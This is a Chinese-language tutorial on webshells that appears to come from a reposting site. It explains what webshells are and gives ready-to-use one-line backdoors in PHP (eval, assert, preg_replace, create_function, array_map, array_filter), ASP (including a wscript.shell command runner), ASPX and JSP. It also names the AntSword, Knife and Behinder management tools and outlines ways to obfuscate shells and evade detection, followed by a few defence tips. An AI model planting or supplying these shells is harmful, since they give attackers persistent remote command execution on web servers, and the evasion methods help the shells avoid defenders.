Webshell介绍
什么是 WebShell
-
webshell就是以asp、PHP、jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门
-
由于 webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具
-
攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行操作权
Webshell分类
一句话木马的执行过程
-
执行函数与 Webshell的关系
-
eval()、 assert()、 preg_replace()、create_function()
- array_map()、call_user_func()、 call_user_func_array()、array_filter()
-
命令执行函数
PHP Webshell
-
5.x :eval / assert / preg_replace /e /create_function
-
7.x :eval / assert
-
8.x :eval
**// eval()函数**
<?PHP eval($_REQUEST["cmd"]);?>
**// assert()函数**
<?PHP assert($_REQUEST["cmd"]);?>
**// preg_replace()函数**
<?PHP @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?>
**// create_function()函数**
<?PHP
$func = create_function('',$_REQUEST['cmd']);
$func();
?>
**// array_map()函数**
<?PHP
//func=system&cmd=ipconfig
$func=$_REQUEST['func'];
$cmd=$_REQUEST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>
**// array_filter函数**
<?PHP
//func=system&cmd=whoami
$cmd=$_REQUEST['cmd'];
$array1=array($cmd);
$func=$_REQUEST['func'];
array_filter($array1,$func);
?>
PHP 4种标记风格
PHP和其他几种web语言一样,都是使用一对标记将PHP代码部分包含起来,以便和HTML代码相区分,PHP一共4中标记风格
- xml风格(标准风格推荐使用)
<?PHP
echo "这是xml风格的标记";
?>
- 脚本风格
<script languange="PHP">
echo'这是脚本风格的标记';
</script>
- 短标签风格
<? 这是简短风格的标记; ?>
注:需要在PHP.ini配置文件中开启short _open_tag=On ,默认关闭
- asp风格
<%
echo '这是asp风格的标记';
%>
注:需要在 PHP.ini 配置文件中开启 asp_tags = On ,默认关闭
其他语言 Webshell
asp语言Webshell
// 菜刀可以连接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII码值
// 可以执行系统命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>
aspx语言Webshell
<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%>
<%@ Page Language="Jscript" validateRequest="false" %>
<%response.Write(eval(Request.ltem["pass"],"unsafe"));%>
jsp语言Webshell
// 执行系统命令且有回显
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}out.print("</pre>");
}%>
Webshell管理工具
- 为什么使用 WebShel管理工具?
攻击者在入侵网站时,通常要通过各种方式写入 Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件等操作
- 常见的 WebShel管理工具
蚁剑 (AntSword)
-
github项目地址:https://github.com/AntSwordProject/antSword
C刀 (Knife)
- 这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义
- github项目地址:https://github.com/chora10/cknIfe
冰蝎 (Behinder)
-
一款动态二进制加密 网站管理客户端
- Webshell管理工具四大功能
Webshell变形
变形目的
变形方法
- 利用str_replace() 函数
- 利用base64_decode() 函数
- 利用"."操作符
- 更换数据来源
- 替代标签
- 字符串组合法隐藏关键字
- 其他变形
Webshell变形总结
绕过技巧
-
更换执行数据来源
-
字符替换 或者编码
-
采取隐匿 手段
WebShell防御技巧
-
使用和及时更新防护类工具或产品
-
对服务器的文件夹设置严格的读写权限
-
定期检查系统进程,查看是否有可疑的进程
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。